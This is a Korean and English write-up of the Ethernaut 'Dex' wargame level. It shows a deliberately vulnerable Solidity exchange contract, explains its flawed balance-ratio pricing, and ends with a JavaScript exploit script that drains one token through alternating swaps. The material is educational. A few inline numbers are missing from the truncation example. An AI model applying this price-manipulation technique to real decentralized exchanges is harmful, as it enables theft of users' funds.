Ethernaut 22 Dex
Ethernaut 22 DexEthernaut 22 DexEthernaut 22 Dex 문제 풀이Ethernaut 22 Dex writeup
Contents
문제
지문
이 문제의 목표는 기본 DEX 컨트랙트의 가격 계산 방식을 조작해서 컨트랙트가 가진 두 토큰 중 하나를 전부 빼내는 것이다.
플레이어는 token1 10개와 token2 10개를 가지고 시작한다. DEX 컨트랙트는 각 토큰을 100개씩 가지고 있다.
레벨 성공 조건은 컨트랙트 안의 token1 또는 token2 중 하나의 잔액을 0으로 만드는 것이다.
일반적인 ERC20 스왑에서는 먼저 토큰 컨트랙트에 approve를 호출해서 DEX가 내 토큰을 가져갈 수 있게 해야 한다. 이 문제에서는 편의를 위해 Dex.approve(spender, amount)가 두 토큰에 대한 승인을 한 번에 처리해준다.
코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";
contract Dex is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint256 amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint256 amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint256 amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint256) {
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}배경지식
DEX는 decentralized exchange, 즉 탈중앙화 거래소를 말한다. 중앙화 거래소는 보통 호가창을 기준으로 매수자와 매도자를 매칭하지만, AMM 방식의 DEX는 컨트랙트 안에 들어있는 토큰 풀과 가격 공식으로 교환량을 계산한다. 예를 들어 A 토큰과 B 토큰이 풀에 들어있다면, 스왑 가격은 풀 내부의 A/B 비율에 영향을 받는다. 그래서 스왑 한 번이 끝날 때마다 풀의 잔액이 바뀌고, 다음 스왑의 가격도 달라진다.
실제 AMM에서는 보통 x * y = k 같은 불변식을 두고, 수수료와 슬리피지까지 고려해서 한 번의 거래가 풀을 비정상적으로 망가뜨리지 못하게 한다.
그런데 이 문제의 Dex는 단순히 현재 풀 잔액의 비율만 사용한다.
이 공식은 스왑 결과로 바뀔 잔액을 고려하지 않는다. 공격자가 양쪽 방향으로 계속 스왑하면, 매번 바뀐 풀 비율을 이용해서 점점 더 많은 토큰을 받아낼 수 있다.
Solidity의 uint256 나눗셈은 소수점 이하를 버린다. 예를 들어 은 수학적으로 약 지만, Solidity에서는 24가 된다.
문제의 원인은 소수점 버림이 아니라 잘못된 가격 공식이다. 다만 계산 결과가 정수로 잘리기 때문에 실제 스왑 수량을 손으로 따라갈 때는 항상 버림을 적용해야 한다.
문제 코드 분석
스왑할 수 있는 토큰은 다음처럼 제한된다.
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");swap은 token1 -> token2 또는 token2 -> token1 방향만 허용한다. 그래서 임의의 악성 토큰을 끼워 넣는 방식은 이 문제에서는 막혀 있다. 그 방식은 다음 문제인 Dex Two의 포인트에 가깝다.
두 번째 require는 사용자가 from 토큰을 충분히 가지고 있는지만 확인한다. 컨트랙트가 to 토큰을 충분히 가지고 있는지 별도로 확인하지는 않지만, 마지막 transferFrom에서 잔액보다 많이 보내려 하면 ERC20 전송이 실패한다. 마지막 스왑에서는 받을 토큰의 컨트랙트 잔액을 넘지 않도록 amount를 맞춰야 한다.
가격 계산식은 다음과 같다.
function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}가격은 DEX가 가진 to 토큰 잔액을 from 토큰 잔액으로 나눈 비율로 정해진다.
처음에는 DEX가 token1 = 100, token2 = 100을 가지고 있으므로 token1 10개를 넣으면 token2 10개를 받는다. 이 스왑 이후 DEX 잔액은 token1 = 110, token2 = 90이 된다.
이제 반대로 token2 20개를 넣으면 계산은 20 * 110 / 90 = 24가 된다. 사용자는 처음보다 더 많은 token1을 받아간다. 이 과정을 반복하면 한쪽 풀 잔액이 빠르게 줄어든다.
승인은 다음 함수로 처리한다.
function approve(address spender, uint256 amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}Dex.approve는 msg.sender의 두 토큰에 대해 spender에게 allowance를 준다. 공격 전에 contract.approve(contract.address, amount)를 한 번 호출하면 DEX가 플레이어의 두 토큰을 가져갈 수 있다.
SwappableToken.approve(owner, spender, amount)에는 owner != _dex 조건이 있지만, 여기서 owner는 플레이어 주소이므로 문제가 되지 않는다.
풀이
토큰을 A = token1, B = token2라고 하자. 시작 상태는 다음과 같다.
- 플레이어:
A = 10,B = 10 - DEX:
A = 100,B = 100
공격은 현재 가진 토큰을 번갈아 스왑하면서 풀 비율을 계속 공격자에게 유리하게 만드는 방식이다.
처음 A -> B로 10개를 바꾸면 10 * 100 / 100 = 10이므로 플레이어는 B 10개를 받는다. 이제 플레이어는 B = 20을 가지고, DEX는 A = 110, B = 90이 된다.
다음에는 B -> A로 20개를 바꾼다. 계산은 20 * 110 / 90 = 24가 되고, 플레이어는 A 24개를 받는다.
이런 식으로 반복하면 수량은 다음처럼 진행된다.
swap A -> B 10 => DEX A=110, B=90
swap B -> A 20 => DEX A=86, B=110
swap A -> B 24 => DEX A=110, B=80
swap B -> A 30 => DEX A=69, B=110
swap A -> B 41 => DEX A=110, B=45
swap B -> A 45 => DEX A=0, B=90마지막에 플레이어는 B를 65개 가지고 있지만 전부 넣으면 받을 A가 DEX 잔액 110개보다 커져서 전송이 실패할 수 있다. 그래서 마지막 스왑은 B 45개만 넣는다.
이렇게 하면 DEX의 token1 잔액을 정확히 0으로 만들 수 있다.
익스플로잇
const token1 = await contract.token1();
const token2 = await contract.token2();
await contract.approve(contract.address, 500);
await contract.swap(token1, token2, 10);
await contract.swap(token2, token1, 20);
await contract.swap(token1, token2, 24);
await contract.swap(token2, token1, 30);
await contract.swap(token1, token2, 41);
await contract.swap(token2, token1, 45);
Challenge
Description
The goal of this level is to manipulate the price calculation of a basic DEX contract and drain all of one of the two tokens the contract holds.
The player starts with 10 token1 and 10 token2. The DEX contract holds 100 of each token.
The level is solved when the contract's balance of either token1 or token2 is 0.
In a normal ERC20 swap, you first call approve on the token contract so the DEX can take your tokens. For convenience, this level provides Dex.approve(spender, amount), which handles the approval for both tokens at once.
Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";
contract Dex is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint256 amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint256 amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint256 amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint256) {
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}Background
DEX stands for decentralized exchange. A centralized exchange typically matches buyers and sellers through an order book, whereas an AMM-style DEX computes the exchange amount from the token pool held in the contract and a pricing formula. For example, if a pool holds token A and token B, the swap price depends on the A/B ratio inside the pool. Each swap changes the pool balances, so the price of the next swap changes too.
Real AMMs usually maintain an invariant such as x * y = k and account for fees and slippage, so that a single trade cannot wreck the pool.
The Dex in this level, however, just uses the ratio of the current pool balances.
This formula ignores how the balances will change as a result of the swap. If an attacker keeps swapping back and forth, each swap exploits the shifted pool ratio to extract more and more tokens.
Solidity uint256 division truncates the fractional part. For example, is about mathematically, but 24 in Solidity.
The bug is the flawed pricing formula, not the truncation. But since results are truncated to integers, truncation must always be applied when tracing the actual swap amounts by hand.
Code analysis
First, the restriction on which tokens can be swapped:
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");swap only allows token1 -> token2 or token2 -> token1. So injecting an arbitrary malicious token is blocked in this level. That approach is closer to the point of the next level, Dex Two.
The second require only checks that the user holds enough of the from token. It does not separately check that the contract holds enough of the to token, but the final transferFrom fails as an ERC20 transfer if it tries to send more than the balance. On the last swap, amount has to be chosen so that the output does not exceed the contract's balance of the token being received.
Next, the price calculation:
function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}The price is the ratio of the DEX's to token balance to its from token balance.
Initially the DEX holds token1 = 100 and token2 = 100, so putting in 10 token1 returns 10 token2. After this swap the DEX balances are token1 = 110, token2 = 90.
Now swapping 20 token2 back gives 20 * 110 / 90 = 24. The user gets more token1 than they started with. Repeating this quickly drains one side of the pool.
Finally, the approval flow:
function approve(address spender, uint256 amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}Dex.approve grants spender an allowance over both of msg.sender's tokens. Calling contract.approve(contract.address, amount) once before the attack lets the DEX pull both of the player's tokens.
SwappableToken.approve(owner, spender, amount) has an owner != _dex check, but here owner is the player's address, so it is not a problem.
Solution
Let A = token1 and B = token2. The initial state is:
- Player:
A = 10,B = 10 - DEX:
A = 100,B = 100
The attack alternates swapping whatever tokens we hold, continually pushing the pool ratio in the attacker's favor.
First, swapping 10 A -> B gives 10 * 100 / 100 = 10, so the player receives 10 B. The player now has B = 20, and the DEX has A = 110, B = 90.
Next, swap 20 B -> A. The calculation is 20 * 110 / 90 = 24, so the player receives 24 A.
Repeating this, the amounts progress as follows.
swap A -> B 10 => DEX A=110, B=90
swap B -> A 20 => DEX A=86, B=110
swap A -> B 24 => DEX A=110, B=80
swap B -> A 30 => DEX A=69, B=110
swap A -> B 41 => DEX A=110, B=45
swap B -> A 45 => DEX A=0, B=90At the end the player holds 65 B, but putting all of it in would yield more A than the DEX's balance of 110, and the transfer could fail. So the last swap only puts in 45 B.
This brings the DEX's token1 balance to exactly 0.
Exploit
const token1 = await contract.token1();
const token2 = await contract.token2();
await contract.approve(contract.address, 500);
await contract.swap(token1, token2, 10);
await contract.swap(token2, token1, 20);
await contract.swap(token1, token2, 24);
await contract.swap(token2, token1, 30);
await contract.swap(token1, token2, 41);
await contract.swap(token2, token1, 45);